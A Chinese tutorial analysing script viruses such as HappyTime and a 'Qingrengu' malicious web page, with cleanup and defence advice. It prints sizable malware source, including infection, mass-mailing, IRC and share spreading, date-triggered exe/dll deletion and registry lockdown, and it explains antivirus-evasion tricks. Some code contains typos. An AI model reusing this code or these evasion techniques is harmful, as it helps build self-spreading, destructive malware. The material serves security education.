网页脚本病毒理解与防护

一、脚本病毒的背景知识介绍

   脚本病毒是指利用.asp、.htm、.html、.vbs、.js类型的文件进行传播的基于VB Script和Java Script脚本语言并由Windows Scripting Host解释执行的这类病毒。

      脚本语言的功能非常强大,它们利用Windows系统具有开放性的特点,通过调用一些现成的Windows对象和组件,可以直接对文件系统、注册表等进行控制。脚本病毒正是利用脚本语言的这些特点,通过ActiveX进行网页传播,通过OE的自动发送邮件功能进行邮件传播的一种恶意病毒。

      脚本病毒通常与网页相结合,将恶意的破坏性代码内嵌在网页中,一旦有用户浏览带毒网页,病毒就会立即发作。轻则修改用户注册表,更改默认主页或强迫用户上网访问某站点,重则格式化用户硬盘,造成重大的数据损失。

二、脚本病毒的特点

综合来讲,脚本病毒具有如下特点:

(1)隐藏性强

在我们的传统认识里,我们只要不从互联网上下载应用程序,从网上感染病毒的几率就会大大减少。脚本病毒的出现彻底改变了人们的这种看法。看似平淡无奇的网站其实隐藏着巨大的危机,一不小心,用户就会在浏览网页的同时“中招”,造成无尽的麻烦。此外,隐藏在电子邮件里的脚本病毒往往具有双扩展名并以此来迷惑用户。有的文件看似是一个jpg图片,其实真正的扩展名是vbs脚本。

(2)传播性广

病毒可以自我复制,并且与前几章介绍的文件型病毒不同,脚本病毒基本上不依赖于文件就可以直接解释执行。

(3)病毒变种多

与其他类型的病毒相比,脚本病毒更容易产生变种。脚本本身的特征是调用和解释功能,因此病毒制造者并不需要太多的编程知识,只需要对源代码进行稍加修改,就可以制造出新的变种病毒,使人们防不胜防。

三、脚本病毒的发作现象及处理

首先来分析和比较一下病毒感染前后的网页代码。图示为被病毒感染前的测试网页的代码。

下图所示为被病毒感染后的代码。其中WshShell.Regwrite表示病毒要进行系统注册表的读写;

CreateObject("Scripting.FileSystemObject")表示病毒要进行文件的访问和读写。

感染脚本的病毒同感染exe文件的病毒一样,都具有反分析能力,并且也能够对病毒的程序代码进行加密和变形。图中包含了被加密的脚本病毒代码和解密后的病毒代码。

在代码中有<SCRIPT language = Jscript.Encode>的字符,后面跟了一串凌乱的数据,这表示病毒要对加密的代码进行解密。如果遇到含有类似信息的HTML文件,应引起警觉。

脚本病毒有很多变种,因此发作现象也有很多种,但尤以恶意网页的病毒为多。下面举例说明一些脚本病毒发作后的现象及处理方法。

例1  出现默认主页被修改、默认首页被更改、微软的默认主页被修改等现象,导致用户每次运行IE时都自动链接到指定的网站。一些个人网站、博采、色情网站等非法网站经常用此方法提高点击率及知名度

处理方法: 

(1)点击开始菜单→运行→regedit.exe→确定,打开注册表编辑工具,再按照如下路径找到相关项:

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main

(2)由可见,Default_Page_URL(默认页)、Start_Page(起始页)的相关键值已经被病毒修改,双击相应键值修改为正确值即可。

以上我简单介绍了一些常见的脚本病毒感染计算机时的症状及解决方法。除了手工修改注册表以外,还有一种方法是将注册表的正确键值按照自己的习惯做出备份,形成REG文件,一旦某些键值被恶意脚本修改,可用备份文件迅速恢复。上面的程序实际上就是一个非常简单的注册表恢复。

现在,国内的主流杀毒软件厂商都已经将注册表修复工具捆绑在杀毒软件中,或提供单独的小程序并不断更新,我们可以下载下来,以备意外时使用。但无论如何,养成良好的上网习惯才是解决问题的根本。

国内主流厂商的注册表修复工具下载地址如下:

— 瑞星注册表修复工具3.0

http://it.rising.com.cn/service/technology/RegClean_download.htm

— 毒霸注册表修复器

http://sh.duba.net/download/other/tool_011027_RegSolve.htm

四、简单的脚本讲解

1、源代码分析

<HTML>

<HEAD>

<TITLE>创建文件c:\TEST.HTM</TITLE>

<SCRIPT LANGUAGE="VBScript">

<!--

Dim fso, f, Myfile,tf,MyFolder

Set fso = CreateObject("Scripting.FileSystemObject")

Set f = fso.CreateFolder("c:\mytest")

Dim MyVar

MyVar = MsgBox ("创建c:\mytest成功!",105,"创建目录")

Set MyFile = fso.CreateTextFile("c:\testfile.txt",True)

MyVar = MsgBox("创建c:\testfile.txt成功!",65,"创建文件")

'写一行,并带有一个换行符。

MyFile.WriteLine("<html><body>由网页脚本的方式修改已存在文件内容成功</body></html>")

  '向文件写三个换行符。

MyFile.WriteBlankLines(3)

  '写一行

MyFile.Write("This is a test")

MyFile.Close

MyVar = MsgBox("写入c:\testfile.txt成功!",65,"写入文件")

Set tf = fso.GetFile("c:\testfile.txt")

tf.Copy("c:\mytest\copytest.txt")

MyVar = MsgBox("拷贝c:\testfile.txt到c:\mytest成功!",65,"拷贝文件")

tf.Delete

MyVar = MsgBox("删除c:\testfile.txt成功!",65,"删除文件")

Set MyFile = fso.Getfolder("c:\mytest")

MyFile.delete

MyVar = MsgBox("删除c:\mytest成功!",65,"删除目录")

-->

</SCRIPT>

</HEAD>

<BODY>

</BODY>

</HTML>

二、实现步骤

1、创建文件夹(mytest)

2、创建文件(textfile)

3、写入文件textfile

4、拷贝文件成功

5、删除文件textfile

6、删除文件夹

  通过以上几个步骤的演示,我们能够简单的看出网页脚本是如何写入和如何删除的,对他的一些特点也有了一些认识,例如,隐藏性等。这对下面网页脚本病毒的研究有很大的帮助作用。

五、脚本病毒(一)——欢乐时光病毒解析

1、HAPPYTIME病毒分析

病毒名称:欢乐时光

别名:Happy Time,help.script,Happytime

病毒感染文件类型:.asp,.htm,.html,.vbs

病毒依赖的操作系统: Win9x/WinNT/Win2000

病毒表现:

(1)执行一次注册表项HKEY_CURRENT_USER\Software\ Help\Count

(2)弹出默认的邮件处理器,并不停地给你邮件地址簿中的信箱发邮件,邮件的主题是Help,附件是\Untitled.htm;

(3)HKEY_CURRENT_USER\Control Panel\desktop\wallpaper指向病毒本身;

(4)在注册表中写入HKEY_CURRENT_USER\Software\help,其中包含以下三项内容:

filename  count  wallpaper

(5)写文件系统目录help.vbs系统目录Untitled.htm;

(6)在系统目录下创建Help.hta;

(7)Html文件被打开后表现为:

loading help......

病毒的发作与破坏方式:

(1)happytime病毒的发作日期是月+日=13时发作,第一次发作是2001年05月8日。

(2)Happytime的典型症状和现象:

— 总是不断地运行超级解霸;

— 会弹出一个一个的记事本,上面写着I am sorry...(或help),而且是不停地弹出并不断地运行;

— 按Ctrl+Alt+Del键可以看到有很多的Wscript在运行,系统资源非常少;

— 硬盘上的所有exe和dll文件被删除。

1.如何得到系统目录

下面的程序段可获得系统目录:

Function Gsf()

'获得Windows目录

Dim Of,m

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject") '创建FileSystemObject对象

m = Of.GetSpecialFolder(0)   '得到特殊目录,其中包括Windows、System和Temp目录

If Er Then '如果失败,则返回C:\并且得到C盘的根目录。

Gsf = "C:\"

Else '若正常,则返回%Windows%

Gsf = m

End If

End Function

2.如何使文件感染病毒代码

以下代码的作用是使文件感染病毒

Sub mclose()

document.Write "<" & "title>I am sorry!'写入I am sorry,并关闭。以此作为感染标记

window.Close

End Sub

'**************************************************************

Function Sc(S)

mN = "Rem I am sorry! Happy time"

If InStr(S, mN) > 0 Then '判断读入的文件流中是否有Rem I am sorry! Happy time

Sc = True

Else

Sc = False   '表示已感染过,返回True,否则返回False

End If

End Function

Sub Fw(Of, S, n) '此时S为文件名,n为文件扩展名

Dim fc,fc2,m,mmail,mt

On Error Resume Next

Set fc = Of.OpenTextFile(S, 1) '以只读模式打开该文件

mt = fc.ReadAll '读入全部文件流

fc.Close '关闭文件

If Not Sc(mt) Then '如果未感染过

mmail = Ml(mt)

mt = Sa(n)

Set fc2 = Of.OpenTextFile(S, 8)'打开文件并在文件末尾进行写操作

fc2.Write mt

fc2.Close

Msend (mmail)'发送带毒邮件

End If

End Sub

3.读写注册表过程

以下代码的作用是读写注册表

Sub Rw(k, v) '写注册表

Dim R

On Error Resume Next

Set R = CreateObject("WScript.Shell")  '创建对象

R.RegWrite k, v

End Sub

'******************************************************************

Function Rg(v) '读注册表

Dim R

On Error Resume Next

Set R = CreateObject("WScript.Shell")  '创建对象

Rg = R.RegRead(v)

End Function

4.传染文件类型和删除文件类型

以下代码的作用是确定传染文件类型和删除文件类型

Set Of = CreateObject("Scripting.FileSystemObject")'创建FileSystemObject对象

Set Od = CreateObject("Scripting.Dictionary")'创建Dictionary对象,用来保存数据键和项目对,实际上它是一个比较开放的数组

Od.Add "html", "1100"

Od.Add "vbs", "0100"

Od.Add "htm", "1100"

Od.Add "asp", "0010"

Key = CInt(Month(Date) + Day(Date))

If Key = 13 Then '如果月与日之和为13

Od.RemoveAll

Od.Add "exe", "0001"

Od.Add "dll", "0001“  

        '清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用

End If

5.获取通讯薄中的邮件地址并发送带毒邮件

以下代码的作用是利用邮件地址发送带毒邮件,也就是病毒的传播过程。

 Function Og()   '得到WAB(通讯簿)中的邮件地址

 Dim i, n, m(), Om, Oo

 Set Oo = CreateObject("Outlook.Application")  '创建Outlook应用程序对象,Outlook和Outlook Express都会受到影响

 Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items

 n = Om.Count

 ReDim m(n)

 For i = 1 To n

  m(i - 1) = Om.Item(i).Email1Address  得到每个WAB中的邮件地址

 Next

 Og = m* End Function

Sub Tsend()   '发送带毒邮件

 Dim Od,MS,MM,a,m

 Set Od = CreateObject("Scripting.Dictionary")

 MConnect MS, MM

 MM.FetchSorted = True

 MM.Fetch

 For i = 0 To MM.MsgCount - 1

  MM.MsgIndex = i

  a = MM.MsgOrigAddress

  If Od.Item(a) = "" Then

  Od.Item(a) = MM.MsgSubject

  End If

 Next

 For Each m In Od.Keys

  MM.Compose

  MM.MsgSubject = "Fw: " & Od.Item(m)  '设置邮件标题

  MM.RecipAddress = m '设置此邮件的当前目标邮件地址

  MM.AttachmentPathName = Gsf & "\Untitled.htm" '添加附件Windows\Untitled.htm

  MM.Send '发送!

 Next

 MS.SignOff

 End Sub

 删除病毒方法:

·需要删除.htt文件,和所有检测到的“VBS.Haptime.A@mm”,删除注册表里病毒添加的键值,重新设置你的Outlook Express。

·更新杀毒程序,确保你有最新的病毒定义。

·打开赛门铁克防毒(NAV),、运行全系统扫描,确保扫描到所有文件。

·更改注册表:点击开始,点击运行;输入“regedit”,点OK,注册表打开;找到下面,并删除键值:

HKEY_CURRENT_USER\Software\Help\Count

HKEY_CURRENT_USER\Software\Help\FileName

  退出注册表编辑器。

·重新设置微软的Outlook Express:打开Outlook Express;点击工具,点击选项;点击拼写;在信纸选项,如果你在发信时没有选择信纸,就不选择Mail;否则选择你想用的信纸。

  微软已经对这个存在于“Scriptlet.TypLib”网络多媒体化技术控制的安全漏洞设计了补丁程序。可以在下面的网址下载补丁:

http://www.microsoft.com/technet/ie/

tools/scrpteye.asp

  如果你安装了这个补丁以后,这个“欢乐时光”病毒就不会再自动运行了。

现在使用DOS命令批量删除_desktop.ini,如下:

  del d:\_desktop.ini /f/s/q/a

  强制删除d盘下所有目录内(包括d盘本身)的_desktop.ini文件并且不提示是否删除

  /f 强制删除只读文件

  /q 指定静音状态。不提示您确认删除。

  /s 从当前目录及其所有子目录中删除指定文件。显示正在被删除的文件名。

  /a的意思是按照属性来删除了

  这个命令的作用是在杀掉viking病毒之后清理系统内残留的_desktop.ini文件用的

手动清除方案:

1、手工清除请按照行为分析删除对应文件,恢复相关系统设置。

(1) 使用“进程管理”关闭病毒进程

(2) 删除病毒文件

%WINDDIR%\rundl132.exe

%Program Files%\_desktop.ini

桌面\viDll.dll

系统根目录\_desktop.ini

系统根目录\1.txt

系统根目录\MH_FILE\MH_DLL.dll

系统根目录\TODAYZTKING\TODAYZTKING.dll

会在大量文件夹中释放文件_desktop.ini

%WINDDIR%\0sy.exe

%WINDDIR%\1sy.exe

%WINDDIR%\2sy.exe

(3) 恢复病毒修改的注册表项目,删除病毒添加的注册表项

HKEY_CURRENT_USER\Software\Microsoft\Windows NT

\CurrentVersion\Windows

键值: 字串: "load "="C:\WINDOWS\rundl132.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

键: 字串: "ver_down0"="0.859: Source:C:\WINDOWS\system32\_0000012_.tmp.dll (3.0.3790.218001111)"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

键值: 字串: " ver_down1"="0.687: 2006/06/13 20:52:04.23s444 (local)"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

键值:字串: " ver_down2"="0.859: Source:C:\WINDOWS\system32\_000006_.tmp.dll

(3.0.3790.21801)"

HKEY_LOCAL_MACHINE\SOFTWARE\Soft\

HKEY_LOCAL_MACHINE\SOFTWARE\Soft\DownloadWWW\

HKEY_LOCAL_MACHINE\SOFTWARE\Soft\DownloadWWW\auto

键值: 字串: "1"

六、典型脚本病毒(二)——情人谷恶意网页分析

病毒依赖的操作系统:Win95/98/2000/XP

发作时间:双击病毒网页时

病毒的运行方式(是否驻留):不驻留

病毒类型(黑客,蠕虫......):脚本病毒

感染文件类型:HTA文件,VBS文件

发作现象:

(1)进入Windows系统后弹出以下信息:“欢迎光临情人谷!你已中了※情花之毒※!请与OICQ:123456联系!” 

(2)C盘丢失,用户无法访问C盘。

(3)开始菜单中的“运行”、“注销”、“关闭系统”三个选项丢失,用户无法进行相应的工作。

(4)将系统的MS-DOS方式封掉,使用户无法进入DOS环境,

(5)将注册表进行保护,使用户无法操作注册表,从而阻止有经验的用户通过手动恢复。

(6)将浏览器的标题修改为带有“欢迎光临情人谷!请与OICQ:123456联系!”字符串的后缀,以后每打开一个网页时都会出现此信息。

(7)Alt+F4功能键失效,用户无法通过热键进行正常关机。

(8)此病毒是一个有预谋的脚本程序,它考虑到了普通用户和高级用户的一些使用习惯,对计算机进行全方位封杀,给用户造成了很大麻烦。

解决办法: 

(1)随时备份注册表,这样做至少可以帮助你恢复到最后一次备份时的状态。

可通过使用实模式下的注册表恢复命令进行恢复,命令行如下:

scanreg/restore

(2)用第三方软件进行恢复,这些软件有RegFixV12Beta1(注册表修复)、超级兔子等。

(3)还可以用脚本把它改回来。这是一种以毒攻毒的方法,该方法采用与病毒使用的相同的技术进行恢复注册表的操作。

下面是病毒的详细讲解与研究:

<!-- saved from url=(0022)http://internet.Email -->

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<meta name="GENERATOR" content="Microsoft FrontPage 4.0">

<meta name="ProgId" content="FrontPage.Editor.Document">

<title>情人谷</title>

<bgsound src="midi/mido.mid" loop="-1">

</head>

<body text="#FF9FCF" link="#FF9FCF" background="images/f2-5.jpg">

<script>

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent> </APPLET>");

//this function is only needed if you add favorites or links

function AddFavLnk(loc, DispName, SiteURL)

{

var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");

Shor.TargetPath = SiteURL;

Shor.Save();

}

//end add favorites or links function。

function f(){

try

{

//ActiveX initialization 创建Windows Scripting Host及文件对象

a1=document.applets[0];

a1.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”); // 创建“Windows Script Host Shell Object” 

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); // 创建“FileSystem Object” 

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); // 创建“Windows Script Host Network Object” 

a1.createInstance();

Net = a1.GetObject();

try

{

if (document.cookie.indexOf("Chg") == -1)

{

//以下内容是对注册表进行修改

//修改IE中的主页设置

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://fashion10000.home.sohu.com/");

var expdate = new Date((new Date()).getTime() + (1));

document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

//主页设置修改结束

//写入注册表

Shl.RegWrite

("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"); //屏蔽开始菜单中的“运行”选项

Shl.RegWrite

("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY"); //屏蔽开始菜单中的“关闭系统”选项

Shl.RegWrite

("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY"); //屏蔽开始菜单中的“注销”选项

Shl.RegWrite

(“HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives”, “00000004”, “REG_DWORD”); //屏蔽系统中的逻辑驱动器C(2的平方)

shl.RegWrite

("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD"); //禁止运行注册表编辑器

Shl.RegWrite

("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDesktop","01","REG_DWORD"); //屏蔽所有桌面图标

Shl.RegWrite

("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD"); //禁止运行DOS应用程序

Shl.RegWrite

("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD"); //禁止系统启动到DOS实模式

Shl.RegWrite

("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "欢迎光临情人谷!你已中了※情花之毒※!请与OICQ:123456联系!"); //弹出标题为“欢迎光临情人谷!你已中了※情花之毒※!请与OICQ:123456联系!”的窗口

Shl.RegWrite (

"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "欢迎光临情人谷!你已中了※情花之毒※!请与OICQ:123456联系!");

//弹出窗口中的内容

Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "欢迎光临情人谷!请与OICQ:123456联系!");

//修改IE的标题

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "欢迎光临情人谷!请与OICQ:123456联系!");  

var expdate = new Date((new Date()).getTime() + (1));

document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

//结束注册表编辑

var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + "\\Favorites";

if(!FSO.FolderExists(loc))

{

loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";

if(!FSO.FolderExists(loc))

{

return;

}

}

 AddFavLnk(loc, "情人谷", "http://fashion10000.home.sohu.com/"); //修改收藏夹结束

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);//打开页面1000毫秒(1秒)后执行函数f(),修改注册表

}

init();

</script> </body> </html>

七、脚本病毒的安全建议

脚本病毒普遍流行的原因分析

1.编写简单,最普通的计算机使用者可以很短的时间里编出一个新型病毒来。

2.破坏力强。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。

3.感染力强。脚本是直接解释执行,它不需要像PE病毒那样,需要做复杂的PE文件格式处理,因此这类病毒可以通过代码复制的方法感染其他文件,并且程序异常处理相对容易。

4.传播范围大。这类病毒通过htm等类型的文档传播,附加在Email附件或其它方式,可以很快的传播。
   5.病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取相对比较简单。因此,这类病毒变种比较多,稍微改变一下病毒的结构,或者修改一下特征值,很多杀毒软件可能就无能为力。
   6.欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个jpg图片文件。  

7.使得病毒生产机实现起来非常容易。所谓病毒生产机,就是可以按照用户的意愿,生产病毒的程序,目前的病毒生产机大多数都为脚本病毒生产机,究其原因最重要的一点是因为脚本是解释执行的,实现起来非常容易

Vbs脚本病毒常见功能分析
1.vbs脚本病毒如何感染、搜索文件
  VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:

病毒文件是如何感染正常文件的:
Set fso=createobject("scripting.filesystemobject")
'创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1)
'读打开当前文件(即病毒本身)
vbscopy=self.readall
' 读取病毒全部代码到字符串变量vbscopy
set ap=fso.opentextfile(目标文件.path,2,true)
' 写打开目标文件,准备写入病毒代码
ap.write vbscopy' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) '得到目标文件路径
cop.copy(目标文件.path & ".vbs")
' 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true)
 '删除目标文件

该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本

sub scan(folder_) ‘scan函数定义,
on error resume next’如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file)
 '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext=“htm" then'如果后缀名是htm,则进行感染。
Wscript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
'搜索其他目录;递归调用
  scan( )
  scan(subfolder)
next
end sub

2.通过Email附件传播

这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。

Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject(“Outlook.Application”) //创建一个OUTLOOK应用的对象
If outlookApp= “Outlook” Then
  Set mapiObj=outlookApp.GetNameSpace(“MAPI”) //获取MAPI的名字空间
  Set addrList= mapiObj.AddressLists //获取地址表的个数
  For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount //遍历地址表的Email地址
Set item = outlookApp.CreateItem(0) //获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) //获取具体Email地址
item.To = addrEnt.Address //填入收信人地址
item.Subject = “病毒传播实验”  //写入邮件标题
item.Body = “这里是病毒邮件传播测试,收到此信请不要慌张! ”//写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)&“\test.jpg.vbs” 
item.DeleteAfterSubmit = True  //信件提交后自动删除
If item.To <> “” Then
item.Send //发送邮件
shellObj.regwrite “HKCU\software\Mailtest\mailed”, “1”   //病毒标记,以免重复感染
End If
Next
End If
Next
End if
End Function

3.通过局域网共享传播

局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。

在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。

welcome_msg = "网络连接搜索测试"
Set WSHNetwork = WScript.CreateObject("WScript.Network") ’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections ’创建一个网络打印机连接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1Step2 ’显示网络打印机连接情况
WScript.Echo "Port "&oPrinters.Item(i)
& " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives ’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox "没有可列出的驱动器。",
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "当前网络驱动器连接: " &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly,
welcome_msg’显示当前网络驱动器连接
End If

4.通过感染htm、asp、jsp、php等网页文件传播
如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户机器感染病毒。
病毒之所以能够在htm文件中发挥强大功能,采用了和绝大部分网页恶意代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOT\CLSID\下我们可以找到这么一个主键:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B,注册表中对它他的说明是“Windows Script Host Shell Object”,同样,我们也可以找到,注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个对象,调用它们的强大功能。代码如下所示:

Set Apple0bject = document.applets(“KJ_guest”)
Apple0bject.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
Apple0bject.createInstance()
’创建一个实例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}")
Apple0bject.createInstance()
 ’创建一个实例
Set FSO = Apple0bject.Get0bject()

5.通过IRC聊天通道传播

病毒通过IRC传播一般来说采用以下代码(以MIRC为例)
Dim mirc
set fso=CreateObject("Scripting.FileSystemObject")
set mirc=fso.CreateTextFile("C:\mirc\script.ini")
  ’创建文件script.ini
fso.CopyFile Wscript.ScriptFullName( "C:\mirc\attachment.vbs", True ) ’将病毒文件备份到attachment.vbs
mirc.WriteLine "[script]"
mirc.WriteLine "n0=on 1:join:*.*: {if($nick !=$me) /dcc send $nick C:\mirc\attachment.vbs }"
'利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close

6 .VBS脚本病毒如何获得控制权

1)修改注册表项
 wndows在启动的时候,会自动加载HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项下的各键值所执向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序,这样就可以保证每次机器启动的时候拿到控制权。vbs修改注册表的方法比较简单,直接调用下面语句即可。
wsh.RegWrite(strName, anyvalue [,strType])

2)通过映射文件执行方式
譬如,我们新欢乐时光将dll的执行方式修改为wscript.exe。甚至可以将exe文件的映射指向病毒代码。

3)欺骗用户,让用户自己执行
这种方式其实和用户的心理有关。譬如,病毒在发送附件时,采用双后缀的文件名,由于默认情况下,后缀并不显示,举个例子,文件名为beauty.jpg.vbs的vbs程序显示为beauty.jpg,这时用户往往会把它当成一张图片去点击。同样,对于用户自己磁盘中的文件,病毒在感染它们的时候,将原有文件的文件名作为前缀,vbs作为后缀产生一个病毒文件,并删除原来文件,这样,用户就有可能将这个vbs文件看作自己原来的文件运行。
4)desktop.ini和folder.htt互相配合
这两个文件可以用来配置活动桌面,也可以用来自定义文件夹。如果用户的目录中含有这两个文件,当用户进入该目录时,就会触发folder.htt中的病毒代码。这是新欢乐时光病毒采用的一种比较有效的获取控制权的方法。并且利用folder.htt,还可能触发exe文件,这也可能成为病毒得到控制权的一种有效方法!
病毒获得控制权的方法还有很多,这方面作者发挥的余地也比较大。

7 .VBS脚本病毒对抗反病毒软件的几种技巧
1)自加密

Randomize
Set Of = CreateObject("Scripting.FileSystemObject")
’创建文件系统对象
VC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall
’读取自FS("Of", "VC", "FS", "FSC")
’定义一个即将被替换字符的数组
For FSC = 0 To 3
VC = Replace(VC, FS(FSC), CHR((INT(RND * 22) + 65))
& CHR((INT(RND * 22) + 65)) & CHR((INT(RND * 22) + 65))
& CHR((INT(RND * 22) + 65)))
’取4个随机字符替换数组fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC
’将替换后的代码写回文件

上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机字符串来代替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。

2)巧妙运用Execute函数
用过VBS程序的朋友是否会觉得奇怪:当一个正常程序中用到了FileSystemObject对象的时候,有些反病毒软件会在对这个程序进行扫描的时候报告说此Vbs文件的风险为高,但是有些VBS脚本病毒同样采用了FileSystemObject对象,为什么却又没有任何警告呢?原因很简单,就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时,会检查程序中是否声明使用了FileSystemObject对象,如果采用了,这会发出报警。如果病毒将这段声明代码转化为字符串,然后通过Execute(String)函数执行,就可以躲避某些反病毒软件。

3)改变某些对象的声明方法
譬如fso=createobject("scripting.filesystemobject"),我们将其改变为
fso=createobject("script"+"ing.filesyste"+"mobject"),这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。

4)直接关闭反病毒软件
VBS脚本功能强大,它可以直接在搜索用户进程然后对进程名进行比较,如果发现是反病毒软件的进程就直接关闭,并对它的某些关键程序进行删除。
8 .VBS病毒生产机的原理介绍
所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件。在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单。
脚本语言是解释执行的、不需要编译,程序中不需要什么校验和定位,每条语句之间分隔得比较清楚。这样,先将病毒功能做成很多单独的模块,在用户做出病毒功能选择后,生产机只需要将相应的功能模块拼凑起来,最后再作相应的代码替换和优化即可。

如何防范VBS脚本病毒

VBS脚本病毒的弱点
VBS脚本病毒由于其编写语言为脚本,因而它不会像PE文件那样方便灵活,它的运行是需要条件的(不过这种条件默认情况下就具备了)。VBS脚本病毒具有如下弱点:
1)绝大部分VBS脚本病毒运行的时候需要用到一个对象:FileSystemObject
2)VBScript代码是通过Windows Script Host来解释执行的。
